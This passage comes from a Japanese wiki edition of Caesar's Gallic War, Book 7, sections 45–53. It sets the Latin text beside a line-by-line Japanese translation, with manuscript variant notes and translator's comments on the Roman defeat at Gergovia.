**これらは&lt;ruby&gt;&lt;rb&gt;[[w:オッピドゥム|城塞都市]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;から遠くに望見され、ゲルゴウィアから（ローマ勢の）陣営が眺められたほどであったが、
*neque tanto spatio certi quid esset explorari poterat. 
**これほどの距離のために（ガッリア勢からは）何ごとか確かなことは探り出されなかった。
*⑤　Legionem unam eodem iugo mittit 
**（カエサルは）1個[[w:ローマ軍団|軍団]]を同じ尾根に派遣して、
*et paulum progressam inferiore constituit loco silvisque occultat. 
**いくらか前進させて低い場所に駐留させ、森林に隠した。
*⑥　Augetur Gallis suspicio 
**（これらを見た）ガッリア人には疑念が増されて、
*atque omnes illo ad munitionem copiae traducuntur. 
**軍勢のすべてがあそこ（＝無人にしていた急所の丘陵）へ防御のために移動した。
*⑦　Vacua castra hostium Caesar conspicatus 
**カエサルは敵たちの（ゲルゴウィア山頂の）陣営が空であると気付いて、
*tectis insignibus suorum occultatisque signis militaribus 
**配下の者たちの標章を覆い隠し、軍旗を隠して、
*raros milites, ne ex oppido animadverterentur, ex maioribus castris in minora traducit 
**兵士たちをまばらに、城塞都市から気付かれないように、大きい方の陣営から小さい方に移動させた。
*legatisque, quos singulis legionibus praefecerat, quid fieri velit, ostendit; 
**個々の軍団を指揮させていた&lt;ruby&gt;&lt;rb&gt;[[w:レガトゥス|副官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レガトゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちに、何がなされることを欲しているかを示した。
*⑧　in primis monet ut contineant milites, 
**第一に、兵士たちを抑え留めるように戒めた。
*ne studio pugnandi aut spe praedae longius progrediantur; 
**（兵士たちが）戦うことの熱意、あるいは略奪の希望により、より遠くまで進み出ないように、と。
*⑨　quid iniquitas loci habeat incommodi proponit; 
**地勢の不利がどれほど敗北を生じるかを示した。
*hoc una celeritate posse vitari&lt;ref&gt;vitari はβ系写本の記述で、α系写本では mutari となっている。&lt;/ref&gt;; 
**迅速さのみがこれを避けることができる。
*occasionis esse rem, non proelii. 
**事の成否は、戦闘にではなく、好機にかかっている。
*⑩　His rebus expositis signum dat 
**これらの事柄を説明して、（副官たちに進軍の）号令を出した。
*et ab dextra parte alio ascensu eodem tempore Haeduos mittit.
**右の方面からは、別の登り道を（ローマ軍本隊と）同時に[[w:ハエドゥイ族|ハエドゥイー族]]（の騎兵）を派遣した。

===46節===
'''ローマ軍の本隊が防壁を越えて、敵陣の一部を占拠'''
*①　Oppidi murus ab&lt;ref&gt;ab はB･M･L･N写本の記述で、β系写本では a となっている。&lt;/ref&gt; planitie atque initio ascensus recta regione, 
**（ゲルゴウィアの）&lt;ruby&gt;&lt;rb&gt;[[w:オッピドゥム|城塞都市]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の城壁は、平地や登り道の始まりから真っ直ぐに（＝直線距離で）、
*si nullus amfractus&lt;ref&gt;amfractus はα系写本の記述で、β系写本では anfractus となっている。&lt;/ref&gt; intercederet, mille CC(mille ducenti)&lt;ref&gt;mille CC(=1200) はα系写本の記述で、β系写本では CC（=200）となっている。&lt;/ref&gt; passus aberat; 
**もし何らの湾曲が間になければ、1200[[w:パッスス|パッスス]]（＝約1.8km）離れていた。
*②　quicquid huc circuitus ad molliendum clivum accesserat&lt;ref&gt;accesserat は写本(ω)の記述だが、オットー・ゼール [[w:de:Otto Seel|Otto Seel]] の校訂では accesserit としている。&lt;/ref&gt;, 
**ここに（山の斜面の）傾斜を緩和するために、何らかの回り道が付け加わっていて、
*id spatium itineris augebat. 
**その道のりの距離を増していた。
*③　A medio fere colle in longitudinem, ut natura montis ferebat, 
**丘陵のほぼ真ん中から、山の地形が作り出したかのように、長きにわたって、
*ex grandibus saxis sex pedum murum qui nostrum&lt;ref&gt;nostrum は中世の写本(ω)の記述だが、近世の版では nostrorum となっている。&lt;/ref&gt; impetum tardaret, 
**大きな石垣からなる6[[w:ペース (長さ)|ペース]]（＝約1.8m）もの、我が方（ローマ勢）の突進を遅らせる防壁を、
*praeduxerant Galli, 
**ガッリア人は引いて来ており、
*atque inferiore omni spatio vacuo relicto 
**（その石垣の防壁）より下方のすべての空間は人気なく残されていて、
*superiorem partem collis usque ad murum oppidi densissimis castris compleverant. 
**丘陵のより上方の部分を、城塞都市の城壁の方へ続けざまに、とても密集した（各部族ごとの）陣営で満たしていた。
*④　Milites dato signo celeriter ad munitionem perveniunt 
**（ローマ人の）兵士たちは号令を与えられて、速やかに（石垣の）防壁のところへ到達して、
*eamque transgressi trinis castris potiuntur; 
**それを越えて行って、3つの（部族ごとの）陣営を占拠した。
*⑤　ac tanta fuit in castris capiendis&lt;ref&gt;castris capiendis はα系写本の記述で、β系写本では capiendis castris となっている。&lt;/ref&gt; celeritas, 
**（3つの）陣営を奪取することにおいて、これほどにも迅速さがあったので、
*ut Teutomatus, rex Nitiobrogum, subito in tabernaculo oppressus, 
**その結果、[[w:ニティオブロゲス族|ニティオブロゲス族]]の王[[w:テウトマトゥス|テウトマトゥス]]は、[[w:テント|天幕]]において突然に襲われて、
*ut meridie conquieverat, superiore corporis parte nudata&lt;ref&gt;nudata はα系写本の記述で、β系写本では nuda となっている。&lt;/ref&gt; 
**昼寝をしていたが、上半身は裸のままで、
*vulnerato equo vix se ex manibus praedantium militum eriperet.
**傷付けられた馬によって、略奪している（ローマ人）兵士の手から、やっと自らを救い出した。

===47節===
'''血気にはやるローマ兵たちの猪突猛進、ガッリア女たちの命乞い'''
*①　Consecutus id quod animo proposuerat 
**心に決めていたことを達成したので、
*Caesar receptui cani iussit 
**カエサルは退却ラッパを吹くことを命じた。
*legionique decimae, quacum erat, contionatus signa constituit. 
**彼とともにいた[[w:第10軍団エクェストリス|第10軍団]]に呼びかけて、軍旗を停止した。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：第10軍団はガッリア戦争初期からの最古参の軍団。軍旗を停止するとは、進軍を止めること。）&lt;/span&gt;
*②　Ac&lt;ref&gt;ac はα系写本の記述で、β系写本では at となっている。&lt;/ref&gt; reliquarum legionum milites non exaudito&lt;ref&gt;exaudito はα系写本の記述で、β系写本では audito となっている。&lt;/ref&gt; sono tubae, 
**ほかの[[w:ローマ軍団|軍団]]の兵士たちは、ラッパの響きを聞き取れなかった。
*quod satis magna valles intercedebat, 
**というのは、十分に大きな峡谷が間にあったからである。
*tamen ab&lt;ref&gt;ab はα系写本の記述で、β系写本では a となっている。&lt;/ref&gt; tribunis militum legatisque, ut erat a Caesare praeceptum, retinebantur; 
**しかしながら、&lt;ruby&gt;&lt;rb&gt;[[w:トリブヌス・ミリトゥム|兵士長官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トリブヌス・ミリトゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちや&lt;ruby&gt;&lt;rb&gt;[[w:レガトゥス|総督副官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レガトゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちにより、カエサルから指図されていたように、制止されていた。
*③　Sed elati spe celeris victoriae et hostium fuga et superiorum temporum secundis proeliis 
**だが（兵士たちは）迅速な勝利の希望や、敵たちの逃亡や、それ以前のときの順調な戦闘により、高慢になっていて、
*nihil adeo arduum sibi esse existimaverunt&lt;ref&gt;esse existimaverunt はα系写本の記述で、β系写本では existimabant となっている。&lt;/ref&gt;, quod non virtute consequi possent, 
**自分たちにとって、武勇で達することができないほどの困難なものはまったく何もない、と考えており、
*neque finem prius sequendi fecerunt quam muro oppidi portisque adpropinquarunt. 
**（ゲルゴウィアの）城塞都市の城壁や城門に近付くまでは、追及を終結させなかった。
*④　Tum vero ex omnibus urbis partibus orto clamore, 
**すると、まさに（ゲルゴウィアの）町のあらゆる方面から叫び声が発せられて、
*qui longius aberant, repentino tumultu perterriti, 
**（城内の）遠い方に離れていた者たちは、予期せぬ騒ぎに脅えており、
*cum hostem intra portas esse existimarent, 
**敵（＝ローマ人）が城門の内側にいると考えたので、
*sese ex oppido eiecerunt. 
**城塞都市から急ぎ出た。
*⑤　Matres familiae de muro vestem argentumque iactabant 
**家庭の母親たちは、城壁から衣類や貨幣をたびたび投げやった。
*et pectore nudo prominentes passis manibus obtestabantur Romanos, 
**そして胸を裸にして（城壁の上に）進み出て、手を伸ばしてローマ人たちに哀願した。
*ut sibi parcerent 
**自分たちを容赦するように、
*neu, sicut Avarici fecissent, ne a mulieribus quidem atque infantibus abstinerent; 
**（ローマ人が）アウァーリクムでしたように女たちや子供たちでさえも赦免しないことのないように、と。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:ne quidem|ne ～ quidem]]「～でさえ…ない」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ローマ人がアウァーリクムでした行為については、[[#28節|28節]]④項を参照。）&lt;/span&gt;
*⑥　nonnullae de muris&lt;ref&gt;muris はα系写本の記述で、β系写本では mure となっている。&lt;/ref&gt; per manus demissae sese militibus tradebant. 
**少なからぬ者たちは、城壁から手で降ろされて、（ローマ人）兵士たちに身を任せた。

[[画像:Gergovie_mur_pano2.jpg|thumb|center|700px|ゲルゴウィア（[[w:la:Gergovia|Gergovia]]）すなわち現在のジェルゴヴィ高地（[[w:fr:Plateau de Gergovie|Plateau de Gergovie]]）で発掘された城壁の遺構。]]

*⑦　L.(Lucius) Fabius centurio legionis VIII(octavae), 
**[[w:第8軍団アウグスタ|第8軍団]]の&lt;ruby&gt;&lt;rb&gt;[[w:ケントゥリオ|百人隊長]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ケントゥリオ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;であるルキウス・ファビウスは、
*quem inter suos eo die dixisse constabat 
**配下の者たちの間で、その日、（以下のように）言ったことが知られていた。
*excitari se Avaricensibus praemiis neque commissurum, ut prius quisquam murum ascenderet, 
**自分はアウァーリクムの恩賞に奮い立たせられて、何者かが（自分）より早く城壁を登るようなことは生じさせない、と。
*tres suos nactus manipulares 
**（ファビウスは）同じ隊の兵士である3人の配下と遭遇して、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：manipulares は「[[w:マニプルス|歩兵中隊]]の」とも解されるが、ここでは「同じ隊の兵士」という意味であろう。）&lt;/span&gt;
*atque ab his sublevatus murum ascendit, 
**彼らによって持ち上げられて城壁を登った。
*hos&lt;ref&gt;hos はα系写本の記述で、π系写本では eos 、ρ系写本では eo となっている。&lt;/ref&gt; ipse rursus singulos exceptans in murum extulit.
**彼らは（ファビウス）自身が再び1人ずつ引き出して、城壁に導き上げた。

===48節===
'''ガッリア勢が城塞都市に引き返して、防戦に努める'''
*①　Interim hi&lt;ref&gt;hi はα系･π系･R写本の記述で、U写本では ii となっている。&lt;/ref&gt; qui ad alteram partem oppidi, ut supra demonstravimus, munitionis causa convenerant, 
**その間に、前に述べたように、&lt;ruby&gt;&lt;rb&gt;[[w:オッピドゥム|城塞都市]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;オッピドゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;の別の方面へ、防御のために集結していた（ガッリア勢の）者たちは、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#45節|45節]]⑥項で述べられている。）&lt;/span&gt;
*primo exaudito clamore, 
**初めに叫び声を聞き取り、
*inde etiam crebris nuntiis incitati oppidum ab Romanis teneri, 
**さらに、城塞都市がローマ人たちによって占領されたという頻繁な知らせにさえも駆り立てられて、
*praemissis equitibus magno concursu&lt;ref&gt;concursu はα系写本の記述で、β系写本では cursu となっている。&lt;/ref&gt; eo contenderunt. 
**[[w:騎兵|騎兵]]たちを先遣して、（歩兵たちも）駆けに駆けて、そこ（＝城塞都市）へ急いだ。

[[画像:Auvergne_Gaul_coin_CdM.jpg|thumb|right|300px|[[w:アルウェルニ族|アルウェルニー族]]の兵士が刻まれた貨幣（[[w:ビブリオテーク・ナショナル|仏国立図書館]]貨幣部所蔵）]]
*②　Eorum ut quisque primus venerat, 
**彼らの（城塞都市に）到着した者から順々に
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：quisque primus「最初の者ごとに；順々に」）&lt;/span&gt;
*sub muro consistebat suorumque pugnantium numerum augebat. 
**城壁の下に陣取って、味方の戦う者たちの数を増した。
*③　Quorum cum magna multitudo convenisset, 
**その者たちの大群集が集結したときに、
*matres familiae quae paulo ante Romanis de muro manus tendebant, 
**少し前にはローマ人たちに城壁から手を差し出していた家庭の母親たちが
*suos obtestari 
**味方に哀願して、
*et more Gallico passum capillum ostentare liberosque in conspectum proferre coeperunt. 
**ガッリアの風習により、髪を広げて示し、子供たちを（男たちの）眼前に運び始めた。
*④　Erat Romanis nec loco nec numero aequa contentio; 
**ローマ人たちにとっては、地の利でも（兵の）数でも、対等な闘いはなかった。
*simul et cursu et spatio pugnae defatigati 
**と同時に、戦いの疾走や時間（の長さ）に疲弊させられていて、
*non facile recentes atque integros sustinebant.
**（ガッリア勢の）新来かつ無傷の者たちに、容易に持ちこたえられなかった。

===49節===
'''カエサルが劣勢の自軍に副官セクスティウスを増援する'''
*①　Caesar cum iniquo loco pugnari hostiumque augeri copias videret, 
**カエサルは（戦闘が自軍に）不利な場所で戦われていること、かつ敵方の軍勢が増やされていることを見たので、
*praemetuens suis 
**配下の者たちを気遣って、
*ad T.(Titum) Sextium legatum, quem minoribus castris praesidio reliquerat, misit, 
**小さい方の陣営に守備として残しておいた&lt;ruby&gt;&lt;rb&gt;[[w:レガトゥス|総督副官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レガトゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;ティトゥス・セクスティウスのところへ（伝令を）遣わして、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：セクスティウスについては、すでに副官として[[ガリア戦記 第6巻#1節|第6巻1節]]で言及されている。）&lt;/span&gt;
*ut cohortes ex castris celeriter educeret 
**陣営から（いくつかの）&lt;ruby&gt;&lt;rb&gt;[[w:コホルス|歩兵大隊]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;コホルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;を速やかに進発させるように、
*et sub infimo colle ab dextro latere hostium constitueret, 
**かつ丘陵のふもとの下方で、敵方の右の側面に布陣するように、と。
*②　ut, si nostros loco depulsos vidisset, quominus libere hostes insequerentur terreret. 
**もし我が方が（戦闘の）場所から追いやられたのを見たら、敵方が自由に追撃することにならぬよう脅かすためである。
*③　Ipse paulum ex eo loco cum legione progressus, ubi constiterat, 
**（カエサル）自身は、停止していた場所から、軍団とともに少し前進して、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（[[#47節|47節]]①項で既述のように、カエサルとともに停止していたのは[[w:第10軍団エクェストリス|第10軍団]]である。）&lt;/span&gt;
*eventum pugnae exspectabat.
**戦いの決着を待っていた。

===50節===
'''激戦の末、敗勢に陥るローマ軍'''
*①　Cum acerrime comminus pugnaretur, hostes loco et numero, nostri virtute confiderent, 
**（両軍により）激烈に格闘して戦われていて、敵方は地の利と（兵の）数を、我が方（ローマ軍）が武勇を頼りとしていたときに、
*subito sunt Haedui visi ab latere nostris aperto, 
**突如として、我が方にとって開けた側面（＝右側）から、[[w:ハエドゥイ族|ハエドゥイー族]]の者たち（の姿）が見られた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：「開けた側面から」ab latere aperto とは、兵士の[[w:スクトゥム|長盾]]で覆われていない右側を指す。）&lt;/span&gt;
*quos Caesar ab dextra parte alio ascensu manus distinendae causa miserat. 
**カエサルがその者たちを右の方面から別の登り道により（敵の）部隊を分散しておくために派遣していたのだ。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：この事は、[[#45節|45節]]⑩項で述べられている。）&lt;/span&gt;
*②　Hi similitudine armorum vehementer nostros perterruerunt, 
**彼らの武具が（ガッリア勢のものと）似ていることが、我が方（の兵士たち）を極度に怖れさせた。
*ac tametsi dextris humeris&lt;ref&gt;humeris が写本(ω)の記述であるが、umeris とするのも一般的となっている。&lt;/ref&gt; exsertis animadvertebantur, quod insigne pactum&lt;ref&gt;pactum はHellerによる修正提案で、写本(ω)では pacatum となっており、研究者たちにより他の修正も提案されている。&lt;/ref&gt; esse consuerat, 
**（ハエドゥイー勢は）右の肩を脱いでいるのが視認され、その印は（味方として）定められているのが常であったが、
*tamen id ipsum sui fallendi causa milites ab hostibus factum existimabant. 
**けれども（ローマ人の）兵士たちは、それ自体が自分たちを欺くために、敵方によりなされたと考えたのだ。

[[画像:Dorf_La_Roche_Blanche.JPG|thumb|right|300px|ゲルゴウィア（[[w:la:Gergovia|Gergovia]]）すなわち現在のジェルゴヴィ高地（[[w:fr:Plateau_de_Gergovie|Plateau de Gergovie]]）の遠景（南方のル・クレスト [[w:fr:Le_Crest|Le Crest]] から撮影）。画像中央がローマ軍が小さい方の陣営を設置していたと推定されているラ・ロシュ＝ブランシュ（[[w:fr:La_Roche-Blanche_(Puy-de-Dôme)|La Roche Blanche]]）の丘陵で、山頂からこの丘陵の辺りが激戦地だったと思われる。現在は山麓にかけて住宅地が広がっている。]]

*③　Eodem tempore L.(Lucius) Fabius centurio quique una murum ascenderant, 
**同じ時に、&lt;ruby&gt;&lt;rb&gt;[[w:ケントゥリオ|百人隊長]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ケントゥリオ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;ルキウス・ファビウスおよび一緒に城壁を登っていた者たちは、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ファビウスらについては、[[#47節|47節]]⑦項で述べられている。）&lt;/span&gt;
*circumventi atque interfecti de&lt;ref&gt;de はβ系写本の記述で、α系写本にはない。&lt;/ref&gt; muro praecipitabantur. 
**（ガッリア勢に）取り囲まれ、殺害されて、城壁から突き落とされた。
*④　M.(Marcus) Petronius, eiusdem legionis centurio, 
**同じ[[w:ローマ軍団|軍団]]の百人隊長マルクス・ペトロニウスは、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ファビウスと同じ軍団とは、[[#47節|47節]]⑦項で述べられているように[[w:第8軍団アウグスタ|第8軍団]]である。）&lt;/span&gt;
*cum portas&lt;ref&gt;portas は写本(ω)の記述だが、portam と単数形にする修正も提案されている。&lt;/ref&gt; excidere conatus esset, 
**城門を突き破って出ることを試みていたときに、
*a multitudine oppressus ac sibi desperans multis iam vulneribus acceptis, 
**（敵の）大勢によって圧倒されて、すでに多くの傷を受けて自分に絶望しており、
*manipularibus suis, qui illum secuti erant&lt;ref&gt;secuti erant はα系写本の記述で、β系写本では erant secuti となっている。&lt;/ref&gt;, 
**彼に付き従っていた同じ隊の配下の者たちに、
*&quot;quoniam&quot; inquit &quot;me una vobiscum servare non possum, 
**曰く「私と諸君を一緒に救うことはできないのだから、
*vestrae quidem certe vitae prospiciam, quos cupiditate gloriae adductus in periculum deduxi. 
**せめて、栄誉の欲に引き寄せられて危険に引きずり込んでしまった諸君の生命にはきっと見通しを与えるであろう。
*⑤　Vos data facultate vobis consulite.&quot; 
**諸君は（生き延びる）可能性が与えられているから、諸君（自身）を助けたまえ。」
*Simul in medios hostes inrupit duobusque interfectis reliquos a porta paulum submovit. 
**と同時に、敵方の真ん中に押し入って、2名を殺害して、ほかの者たちを城門からいくらか退けた。
*⑥　Conantibus auxiliari suis 
**（ペトロニウスは自分の）支援を試みる配下の者たちに、
*&quot;frustra&quot; inquit &quot;meae vitae subvenire conamini, quem iam sanguis viresque deficiunt. 
**曰く「もはや血も活力も尽き果てた私の生命を助けることを試みているのは無益だ。
*Proinde abite, dum est facultas, vosque ad legionem recipite.&quot; 
**ゆえに（生き延びる）可能性がある間に立ち去れ。諸君は軍団のところへ退却せよ。」
*Ita pugnans post paulum&lt;ref&gt;paulum はα系･ρ系写本の記述で、π系写本では paululum となっており、paulo という修正提案もされている。&lt;/ref&gt; concidit ac suis saluti fuit.
**こうして（ペトロニウスは）戦って少し後で斃れ、配下の者たちにとっては救いとなった。

===51節===
[[画像:Monument_gergovie_fr.jpg|thumb|right|290px|[[w:ゲルゴウィアの戦い|ゲルゴウィア戦勝]]記念碑。[[w:1903年|1903年]]に[[w:クレルモン＝フェラン|クレルモン＝フェラン市]]出身の建築家ジャン・テラール（[[w:fr:Jean Teillard|Jean Teillard]]）が、侵略者カエサルを撃退した郷土の英雄[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]に捧げるためにジェルゴヴィ高地（[[w:fr:Plateau_de_Gergovie|Plateau de Gergovie]]）に建立したものである。]]
[[画像:Plaque_Napoléon_III_Gergovie.jpg|thumb|right|300px|[[w:ゲルゴウィアの戦い|ゲルゴウィア]]の地に残る銘板。フランス語で「[[w:ナポレオン3世|ナポレオン3世]]は、1862年のゲルゴウィアの[[w:オッピドゥム|城塞都市]]（跡）訪問の結果、メルドーニュ（Merdogne）の住民たちの要求に対して、1865年1月11日の政令によって、彼らの村にジェルゴヴィ（[[w:fr:Gergovie|Gergovie]]）の名を与えることを決定した。」&lt;!-- «A la suite de sa visite sur l'oppidum de Gergovia en 1862, Napoléon III, à la demande des habitants de Merdogne, décida d'attribuer à leur village le nom de Gergovie, par décret du 11 janvier 1865.»--&gt;]]
'''カエサルが一敗地に塗れる'''
*①　Nostri cum undique premerentur, 
**我が方（ローマ軍）は、至る所で圧倒されたので、
*XLVI(sex et quadraginta)&lt;ref&gt;XLVI はα系写本の記述で、β系写本では sex et XL となっている（どちらも46）。&lt;/ref&gt; centurionibus amissis deiecti sunt loco. 
**46名の&lt;ruby&gt;&lt;rb&gt;[[w:ケントゥリオ|百人隊長]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ケントゥリオ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt; を失い、（激戦の）場所から追いやられた。
*Sed intolerantius Gallos insequentes 
**けれども、容赦なく追撃して来るガッリア人たちを
*legio decima tardavit, quae pro subsidio paulo aequiore loco constiterat. 
**予備部隊（もしくは要撃部隊）として、いくらか平らな所に陣取っていた[[w:第10軍団エクェストリス|第10軍団]]が妨げた。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#47節|47節]]①項で既述のように、第10軍団はカエサルとともに待機していた。）&lt;/span&gt;
*②　Hanc rursus XIII(tertiae decimae) legionis cohortes exceperunt, 
**これ（＝第10軍団）をさらに、第13軍団の諸&lt;ruby&gt;&lt;rb&gt;[[w:コホルス|大隊]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;コホルス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;が支えた。
*quae ex castris minoribus eductae cum T.(Tito) Sextio legato ceperant locum&lt;ref&gt;ceperant locum はα系写本の記述で、β系写本では locum ceperant となっている。&lt;/ref&gt; superiorem. 
**それらは&lt;ruby&gt;&lt;rb&gt;[[w:レガトゥス|総督副官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レガトゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;ティトゥス・セクスティウスとともに小さい方の陣営から進発してより高い所を占めていたのだ。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#49節|49節]]を参照。）&lt;/span&gt;
*③　Legiones ubi primum planitiem attigerunt, 
**諸[[w:ローマ軍団|軍団]]は、平野に達するや否や、
*infestis contra hostes signis constiterunt. 
**敵方に抗して戦備を整えて陣取った。
*④　[[w:la:Vercingetorix|Vercingetorix]] ab radicibus collis suos intra munitiones reduxit. 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、配下の者たちを丘陵の麓から（ゲルゴウィアの）防備の内側に連れ戻した。
*Eo die milites sunt paulo minus [[wikt:la:Septingenti|septingenti]] desiderati.
**その日、（ローマ軍は）700名よりいくらか少ない兵士を失った。
&lt;br&gt;
:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：カエサルとウェルキンゲトリークスは、たびたび交えた騎兵戦ではカエサルが勝っているが、&lt;/span&gt;
:&lt;span style=&quot;color:#009900;&quot;&gt;両軍の主力部隊である歩兵どうしが激突したこの戦闘は、地の利もあって、ウェルキンゲトリークスが完勝した。&lt;/span&gt;
:&lt;span style=&quot;color:#009900;&quot;&gt;カエサルは第8軍団など古参の部隊を投入しながら、歴戦の百人隊長と兵士たちを多く失った。）&lt;/span&gt;

===52節===
'''敗軍の将カエサルが兵士たちを責める'''
*①　Postero die Caesar contione advocata 
**翌日にカエサルは（兵士たちの）集会を召集して、
*temeritatem cupiditatemque militum&lt;ref&gt;cupiditatemque militum はα系写本の記述で、β系写本では militum cupiditatemque となっている。&lt;/ref&gt; reprehendit, 
**兵士たちの無思慮や功名心をとがめた。
*quod sibi ipsi iudicavissent, quo procedendum aut quid agendum videretur, 
**というのは、どこへ進み出るべきか、あるいは何がなされるべきと思われるのか、自分たちに対し自分たちで判断してしまったからだ。
*neque signo recipiendi dato constitissent 
**退却することの合図を与えられても留まりもせず、
*neque ab&lt;ref&gt;ab はα系写本の記述で、β系写本では a となっている。&lt;/ref&gt; tribunis militum legatisque retineri potuissent. 
**&lt;ruby&gt;&lt;rb&gt;[[w:トリブヌス・ミリトゥム|兵士長官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トリブヌス・ミリトゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;や&lt;ruby&gt;&lt;rb&gt;[[w:レガトゥス|総督副官]]たち&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;レガトゥス&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;により制止されることもできなかったからだ。
*②　Exposuit quid iniquitas loci posset, quod&lt;ref&gt;quod は写本(ω)では quid となっているが、近世以降の校訂者たちは quod と修正提案している。&lt;/ref&gt; ipse ad [[w:la:Avaricum Biturigum|Avaricum]] sensisset, 
**地の利のなさがどれほど影響するのか、（カエサル）自身がアウァーリクムで判断したことを説明した。
*cum sine duce et sine equitatu deprehensis hostibus 
**将帥もなく騎兵隊もない敵たちを探し当てたときに、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#18節|18節]]～[[#19節|19節]]を参照。そのときガッリア勢は、ウェルキンゲトリークスが騎兵隊を連れて出て不在であった。）&lt;/span&gt;
*exploratam victoriam dimisisset, 
**確実であった勝利を諦めたのだ。
*ne parvum modo detrimentum in contentione propter iniquitatem loci accideret. 
**地の利のなさのために、闘いにおいてほんのわずかな損害も生じないように（勝利を諦めたのだ）。
*③　Quanto opere&lt;ref&gt;Quanto opere はα系写本の記述で、β系写本では Quantopere となっている。&lt;/ref&gt; eorum animi magnitudinem admiraretur, 
**彼ら（兵士たち）の大胆さに（カエサルが）驚嘆すればするほど、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：quanto opere ～ tanto opere …／quantopere ～ tantopere …「～すればするほど、ますます…」）&lt;/span&gt;
*quos non castrorum munitiones, non altitudo montis, non murus oppidi tardare potuisset, 
**彼らのことを（ガッリア勢の）陣営の防備も、山の高さも、[[w:オッピドゥム|城塞都市]]の城壁も妨げることができなかったのではあるが、
*tanto opere&lt;ref&gt;tanto opere はα系･T･ρ系写本の記述で、V写本では tantopere となっている。&lt;/ref&gt; licentiam arrogantiamque reprehendere, 
**それだけにますます（兵士たちの）勝手気ままさや高慢さを（カエサルは）非難する（と言った）。
*quod plus se quam imperatorem de victoria atque exitu rerum sentire existimarent; 
**というのは、自分たちが将軍（カエサル）よりも勝利と事の結末についてよく判断していると考えていたからだ。
*④　nec&lt;ref&gt;nec はα系写本の記述で、β系写本では non となっている。&lt;/ref&gt; minus se ab&lt;ref&gt;ab はα系写本の記述で、β系写本では in となっている。&lt;/ref&gt; milite modestiam et continentiam quam virtutem atque animi magnitudinem desiderare.
**自分（カエサル）は兵士たちに、武勇や大胆さよりも、慎重さや自制心を望んでいるのだ。

*:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：カエサルは兵士たちを上のように責めたが、兵士たちを統制できなかった責任は最高司令官にある。）&lt;/span&gt;

===53節===
'''カエサルとローマ軍がゲルゴウィアから撤退'''
*①　Hac habita contione et ad extremam orationem confirmatis militibus, 
**（カエサルは）このような熱弁を振るって、演説の最後に、兵士たちを元気付けた。
*ne ob hanc causam animo permoverentur 
**このような理由のために心をかき乱されないように、
*neu, quod iniquitas loci attulisset, id virtuti hostium tribuerent, 
**かつ、地の利のなさが引き起こしたことを、敵方の武勇に転嫁しないように、と。
*eadem de profectione cogitans, quae ante senserat, 
**（ゲルゴウィアからの）出発については、以前から判断していたのと同じことを考えていて、
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[#43節|43節]]⑤項を参照。ゲルゴウィアからの撤退が敗走同然に見られないようにと、考えていたのであろう。）&lt;/span&gt;
